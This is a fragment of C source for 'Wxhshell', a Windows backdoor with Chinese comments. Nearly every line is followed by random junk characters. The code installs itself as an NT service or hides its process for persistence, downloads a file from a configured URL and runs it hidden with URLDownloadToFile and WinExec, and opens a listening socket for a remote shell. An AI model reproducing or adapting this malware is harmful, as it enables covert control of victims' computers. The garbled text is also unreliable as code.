DWORD PebBaseAddress; :UQTEdc{
DWORD AffinityMask; RIIitgV_
DWORD BasePriority; NMA}Q$o
s
ULONG UniqueProcessId; 9;veuX#(
ULONG InheritedFromUniqueProcessId; 1AU#%wIEP
} PROCESS_BASIC_INFORMATION; cq$i
QcgfBsv96
PROCNTQSIP NtQueryInformationProcess; |jM4E$
Dgy]ae(Hb3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x:nKfY5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vsa92c@T
@r?Uua
HANDLE hProcess; [o?*"c
PROCESS_BASIC_INFORMATION pbi; p1vp8p
bR V+>;L0@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @'|)~,"bx
if(NULL == hInst ) return 0; |O"lNUW
:rg5Kt&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C*`mM'#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uJ6DO#d`P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kw#i),M
7^g&)P
if (!NtQueryInformationProcess) return 0; x:QgjK
;$z$@@WC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mQY_`&Jq
if(!hProcess) return 0; e#E2>Bj;
lEV]4
t_H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9-rNw?7
f aLtdQi
CloseHandle(hProcess); HQB(*
ahPoEh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8HP6+c%
if(hProcess==NULL) return 0; :hM/f
G>q(iF'
HMODULE hMod; Ud!4"<C_
char procName[255];
7[.6axL
unsigned long cbNeeded; SI=yI-
P><o,s"v
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +-G<c6 |
wR^ RM(1
CloseHandle(hProcess); -e8}Pm
"
VH[hsj
if(strstr(procName,"services")) return 1; // 以服务启动 Qm/u h
DoeiW=
return 0; // 注册表启动 0fYj4`4=n
} &SrO)
CjiVnWSz<
// 主模块 d$
^ ,bL2p
int StartWxhshell(LPSTR lpCmdLine) gmm|A9+tv
{ >Bgw}PI
SOCKET wsl; X@f "-\
BOOL val=TRUE; $ mI0Bk
int port=0; vPD]hs
struct sockaddr_in door; tQylT0'[+o
~I}&V T
if(wscfg.ws_autoins) Install(); $5*WLG&AK
Z"AQp _
port=atoi(lpCmdLine); rSJ9v:
[B|MlrZ
if(port<=0) port=wscfg.ws_port; M{*Lp6h
|gU(s
WSADATA data; `+uhy,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o9H^?Rut
nG;8:f`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xQ@^$_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |JVk&8
?8
door.sin_family = AF_INET; FD8N"p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1u6^z
door.sin_port = htons(port); _-#'j2
ka3u&3"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vo#UtN:q
closesocket(wsl); D`VM6/iQR
return 1; ph-ATJ"
} ^Y
iJV7
%b"\bHH
if(listen(wsl,2) == INVALID_SOCKET) { 1[yq0^\]M[
closesocket(wsl); dS<C@(
return 1; $t6e2=7
} ^/U|2'$'>E
Wxhshell(wsl); 8f3vjK'
WSACleanup(); YWxc-fPZ
UNkCL4N
return 0; />9OR
g2T -TG'd
} [!U?}1YQ
.;*s`t
// 以NT服务方式启动 -
h9?1vc7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wy}k1E'M
{ %!PM&zV
DWORD status = 0; ,Bal
DWORD specificError = 0xfffffff; 3fh8$A
&w1P\4?G
serviceStatus.dwServiceType = SERVICE_WIN32; mljh|[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4- [J@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zBe8,, e
serviceStatus.dwWin32ExitCode = 0; `IY/9'vT
serviceStatus.dwServiceSpecificExitCode = 0; !ki.t
serviceStatus.dwCheckPoint = 0; %C=]1Q=T)
serviceStatus.dwWaitHint = 0; |e2be1LD
}eRD|1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WuZ/C_
if (hServiceStatusHandle==0) return; =F;.l@:
:bC40@
status = GetLastError(); Z>^pCc\lH
if (status!=NO_ERROR) `2PLWo
{ Ed
,D8ND
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4M^G`WA}t9
serviceStatus.dwCheckPoint = 0; D7S'*;F
serviceStatus.dwWaitHint = 0; `ck$t5:6sp
serviceStatus.dwWin32ExitCode = status; ,Uy|5zv
serviceStatus.dwServiceSpecificExitCode = specificError; j7)Ao*WN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b&5lY p"d
return; UF@XK">
} P'O#I}Dmw<
W[^qa5W<FB
serviceStatus.dwCurrentState = SERVICE_RUNNING; C|?o*fQ
serviceStatus.dwCheckPoint = 0; {U_$&f9s
serviceStatus.dwWaitHint = 0; R?p00
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J:kmqk!
} \l@,B +)
xu'yVt9RC
// 处理NT服务事件,比如:启动、停止 $]rj73p^tH
VOID WINAPI NTServiceHandler(DWORD fdwControl) {pHM},WJ
{ dS5a
switch(fdwControl) l}lIi8
{ w &%~3Cz.
case SERVICE_CONTROL_STOP: ubmrlH\d
serviceStatus.dwWin32ExitCode = 0; fa<v0vb+
serviceStatus.dwCurrentState = SERVICE_STOPPED; eEn;!RS)
serviceStatus.dwCheckPoint = 0; V}zEK0n(6
serviceStatus.dwWaitHint = 0; p+Y>F\r&w
{ <dvy"Dx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +
Q6l*:<|c
} Zw~+Pb
return; uy}%0vLo
case SERVICE_CONTROL_PAUSE: +tD[9b!
m
serviceStatus.dwCurrentState = SERVICE_PAUSED; uZ=NSbYsA
break; H/"lAXfb
case SERVICE_CONTROL_CONTINUE: v%RP0%%{s
serviceStatus.dwCurrentState = SERVICE_RUNNING; A2nqf^b{#
break; is@b&V]
case SERVICE_CONTROL_INTERROGATE: M_%B|S
{
break; fks)+L'
}; bN3#{l-`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nQ/E5y
} 25&J7\P*
|eWjYGwJa
// 标准应用程序主函数 mSo_} je(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;IpT} ,
{ eBJUv]o %
:Pv*,qHE
// 获取操作系统版本 +d%L\^?F
OsIsNt=GetOsVer(); ]7Z{ 8)T
GetModuleFileName(NULL,ExeFile,MAX_PATH); H`geS
>|Cw\^
// 从命令行安装 R+7oRXsu
if(strpbrk(lpCmdLine,"iI")) Install(); yZWoN&
1u|Rl:Q
// 下载执行文件 ZZyDG9a>7
if(wscfg.ws_downexe) { j6g[N4xr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A mwa)
WinExec(wscfg.ws_filenam,SW_HIDE); ?SC[G-b
} Hp(D);0+)
o^V(U~m]
if(!OsIsNt) { LB.co4
// 如果时win9x,隐藏进程并且设置为注册表启动 "hQ_sgz[Z
HideProc(); o'$jNciOW
StartWxhshell(lpCmdLine); yA3wtm/?
} 8Y#\xzod
else DU=dLE6-P;
if(StartFromService()) Tc+gdo>G
// 以服务方式启动 2"-S<zM
StartServiceCtrlDispatcher(DispatchTable); XJIv1s\g
else .&x}NYX4
// 普通方式启动 ]K*8O<
StartWxhshell(lpCmdLine); sQ8s7l0D
7K{Nb
return 0; ~I(Hc.Q
}